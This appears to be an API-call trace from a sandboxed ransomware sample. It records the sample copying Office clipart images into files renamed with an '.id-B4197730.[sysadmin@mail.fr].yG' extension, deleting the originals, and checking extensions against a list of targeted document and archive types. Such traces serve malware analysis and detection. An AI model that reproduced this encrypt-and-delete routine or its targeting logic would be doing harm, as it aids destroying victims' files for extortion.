	[0174.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0174.058] GetLastError () returned 0x0
	[0174.058] ReadFile (in: hFile=0x47c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0174.251] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0174.259] ReadFile (in: hFile=0x47c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.260] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.260] SetEndOfFile (hFile=0x388) returned 1
	[0174.260] CloseHandle (hObject=0x388) returned 1
	[0174.260] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.260] SetEndOfFile (hFile=0x47c) returned 1
	[0174.263] CloseHandle (hObject=0x47c) returned 1
	[0174.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1
	[0174.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.266] lstrlenW (lpString=".doc") returned 4
	[0174.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.266] lstrlenW (lpString=".docx") returned 5
	[0174.266] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0174.266] lstrlenW (lpString=".pdf") returned 4
	[0174.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.266] lstrlenW (lpString=".xls") returned 4
	[0174.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.266] lstrlenW (lpString=".xlsx") returned 5
	[0174.266] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0174.266] lstrlenW (lpString=".ppt") returned 4
	[0174.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.292] lstrlenW (lpString=".zip") returned 4
	[0174.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.292] lstrlenW (lpString=".rar") returned 4
	[0174.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.292] lstrlenW (lpString=".bz2") returned 4
	[0174.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.292] lstrlenW (lpString=".7z") returned 3
	[0174.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.292] lstrlenW (lpString=".dbf") returned 4
	[0174.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.292] lstrlenW (lpString=".1cd") returned 4
	[0174.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0174.292] lstrlenW (lpString=".jpg") returned 4
	[0174.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.293] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=40231) returned 1
	[0174.293] CloseHandle (hObject=0x350) returned 1
	[0174.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220
	[0174.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0174.295] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.295] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0174.313] GetLastError () returned 0x0
	[0174.313] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x9d27, lpOverlapped=0x0) returned 1
	[0174.335] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x9d30, lpOverlapped=0x0) returned 1
	[0174.337] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.337] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.337] SetEndOfFile (hFile=0x57c) returned 1
	[0174.337] CloseHandle (hObject=0x57c) returned 1
	[0174.337] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.337] SetEndOfFile (hFile=0x350) returned 1
	[0174.346] CloseHandle (hObject=0x350) returned 1
	[0174.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.348] lstrlenW (lpString=".doc") returned 4
	[0174.348] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.348] lstrlenW (lpString=".docx") returned 5
	[0174.348] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0174.348] lstrlenW (lpString=".pdf") returned 4
	[0174.348] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.348] lstrlenW (lpString=".xls") returned 4
	[0174.348] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.348] lstrlenW (lpString=".xlsx") returned 5
	[0174.348] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0174.348] lstrlenW (lpString=".ppt") returned 4
	[0174.348] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.349] lstrlenW (lpString=".zip") returned 4
	[0174.349] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.349] lstrlenW (lpString=".rar") returned 4
	[0174.349] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.349] lstrlenW (lpString=".bz2") returned 4
	[0174.349] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.349] lstrlenW (lpString=".7z") returned 3
	[0174.349] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.349] lstrlenW (lpString=".dbf") returned 4
	[0174.349] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.349] lstrlenW (lpString=".1cd") returned 4
	[0174.349] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0174.349] lstrlenW (lpString=".jpg") returned 4
	[0174.349] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.350] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=61633) returned 1
	[0174.350] CloseHandle (hObject=0x350) returned 1
	[0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220
	[0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0174.351] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.351] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0174.352] GetLastError () returned 0x0
	[0174.352] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xf0c1, lpOverlapped=0x0) returned 1
	[0174.622] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xf0d0, lpOverlapped=0x0) returned 1
	[0174.624] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.624] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.624] SetEndOfFile (hFile=0x57c) returned 1
	[0174.625] CloseHandle (hObject=0x57c) returned 1
	[0174.625] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.625] SetEndOfFile (hFile=0x350) returned 1
	[0174.629] CloseHandle (hObject=0x350) returned 1
	[0174.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.632] lstrlenW (lpString=".doc") returned 4
	[0174.632] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.632] lstrlenW (lpString=".docx") returned 5
	[0174.632] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0174.632] lstrlenW (lpString=".pdf") returned 4
	[0174.632] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.632] lstrlenW (lpString=".xls") returned 4
	[0174.632] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.632] lstrlenW (lpString=".xlsx") returned 5
	[0174.632] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0174.632] lstrlenW (lpString=".ppt") returned 4
	[0174.632] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.632] lstrlenW (lpString=".zip") returned 4
	[0174.632] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.632] lstrlenW (lpString=".rar") returned 4
	[0174.632] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.632] lstrlenW (lpString=".bz2") returned 4
	[0174.632] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.632] lstrlenW (lpString=".7z") returned 3
	[0174.632] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.633] lstrlenW (lpString=".dbf") returned 4
	[0174.633] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.633] lstrlenW (lpString=".1cd") returned 4
	[0174.633] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0174.633] lstrlenW (lpString=".jpg") returned 4
	[0174.633] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.634] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=17867) returned 1
	[0174.634] CloseHandle (hObject=0x350) returned 1
	[0174.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220
	[0174.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0174.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0174.636] GetLastError () returned 0x0
	[0174.636] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x45cb, lpOverlapped=0x0) returned 1
	[0175.232] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x45d0, lpOverlapped=0x0) returned 1
	[0175.234] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.234] WriteFile (in: hFile=0x57c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.234] SetEndOfFile (hFile=0x57c) returned 1
	[0175.234] CloseHandle (hObject=0x57c) returned 1
	[0175.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.234] SetEndOfFile (hFile=0x350) returned 1
	[0175.237] CloseHandle (hObject=0x350) returned 1
	[0175.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1
	[0175.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.831] lstrlenW (lpString=".doc") returned 4
	[0175.831] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.831] lstrlenW (lpString=".docx") returned 5
	[0175.831] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0175.831] lstrlenW (lpString=".pdf") returned 4
	[0175.831] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.831] lstrlenW (lpString=".xls") returned 4
	[0175.831] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.831] lstrlenW (lpString=".xlsx") returned 5
	[0175.831] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0175.831] lstrlenW (lpString=".ppt") returned 4
	[0175.831] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.831] lstrlenW (lpString=".zip") returned 4
	[0175.831] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.831] lstrlenW (lpString=".rar") returned 4
	[0175.831] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.831] lstrlenW (lpString=".bz2") returned 4
	[0175.831] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.831] lstrlenW (lpString=".7z") returned 3
	[0175.831] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.831] lstrlenW (lpString=".dbf") returned 4
	[0175.832] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.832] lstrlenW (lpString=".1cd") returned 4
	[0175.832] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0175.832] lstrlenW (lpString=".jpg") returned 4
	[0175.832] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.833] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=67540) returned 1
	[0175.833] CloseHandle (hObject=0x470) returned 1
	[0175.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220
	[0175.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0175.836] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.836] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464
	[0175.845] GetLastError () returned 0x0
	[0175.845] ReadFile (in: hFile=0x470, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x107d4, lpOverlapped=0x0) returned 1
	[0175.852] WriteFile (in: hFile=0x464, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x107e0, lpOverlapped=0x0) returned 1
	[0175.855] ReadFile (in: hFile=0x470, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.855] WriteFile (in: hFile=0x464, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.855] SetEndOfFile (hFile=0x464) returned 1
	[0175.855] CloseHandle (hObject=0x464) returned 1
	[0175.855] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.855] SetEndOfFile (hFile=0x470) returned 1
	[0175.860] CloseHandle (hObject=0x470) returned 1
	[0175.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1
